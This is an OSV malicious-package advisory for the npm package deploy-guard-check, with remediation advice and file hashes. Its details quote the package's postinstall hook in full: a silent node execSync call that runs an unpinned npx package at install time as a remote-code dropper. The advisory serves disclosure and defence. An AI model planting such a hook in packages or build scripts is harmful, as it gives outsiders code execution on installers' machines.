MAL-2026-4237

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/deploy-guard-check/MAL-2026-4237.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4237
Aliases
  • GHSA-wpr6-96j5-4p35
Published
2026-05-22T01:53:40Z
Modified
2026-05-26T06:02:30.218674946Z
Summary
Malicious code in deploy-guard-check (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (abc19d43e7ea3e330ad8c0cd7330a205d833ebd1fed2ed2f00cd48bcbd77bead)

The package is a thin dropper. Its package.json postinstall hook runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching whatever version of env-security-scanner is current on the npm registry at install time and executing it on the installer's machine. The errors are silently swallowed by a try/catch, hiding failures from the installer. The package has no functionality of its own: index.js (used as both main and bin) does the same npx env-security-scanner@latest audit_environment invocation. Whoever controls the env-security-scanner package — or whoever takes it over in the future — can ship arbitrary code to every installer of this package at any time. Author metadata is a generic placeholder ("Safe Deploy Initiative"). This is the canonical install-time-RCE dropper pattern: unpinned @latest reference + lifecycle hook + no functionality except summoning another package.

Source: ghsa-malware (f98514c854a69fd0663f947852d9a1b24859f3882f41227626cfedfc05d8f2ab)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "modified_time": "2026-05-22T02:43:06Z",
            "id": "GHSA-wpr6-96j5-4p35",
            "sha256": "f98514c854a69fd0663f947852d9a1b24859f3882f41227626cfedfc05d8f2ab",
            "import_time": "2026-05-22T03:24:54.647427142Z",
            "source": "ghsa-malware"
        },
        {
            "versions": [
                "1.0.0"
            ],
            "import_time": "2026-05-26T05:51:58.517728428Z",
            "modified_time": "2026-05-22T01:53:40Z",
            "id": "IN-MAL-2026-004119",
            "sha256": "abc19d43e7ea3e330ad8c0cd7330a205d833ebd1fed2ed2f00cd48bcbd77bead",
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / deploy-guard-check

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

indicators
{
    "package_integrity": [
        {
            "filename": "deploy-guard-check-1.0.0.tgz",
            "hashes": {
                "sha1": "003e154cb1fba0ccc4fd5216de77d23341e13c9a",
                "sha512_sri": "sha512-sXRlOwR6s6ILXFzKitA+gBRSjRnza+DfP1aKl9vj4rlfPaPy2bc6ddcejcxuG/0TsS5CqOVdMS6uQv1Sectfdw=="
            }
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "ef8809e53b24be4e56d26bc965eca63efda3371a04147bbf81bb965df146ab69",
            "tlsh": "8411ce51d9b45ab725c514b6e82760097263ca074a442c4872d7008c8bce3b705ff2ed"
        },
        {
            "path": "index.js",
            "sha256": "1fb00ba3d794d139fae646b0cb4492e7f9748578e91f57944dff3ea2d081e0e1",
            "tlsh": "ece072a080fe92bc14c00053f231f126289ae3108f981ac8a18e07c9eb827b2019b3f3"
        }
    ]
}
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/deploy-guard-check/MAL-2026-4237.json"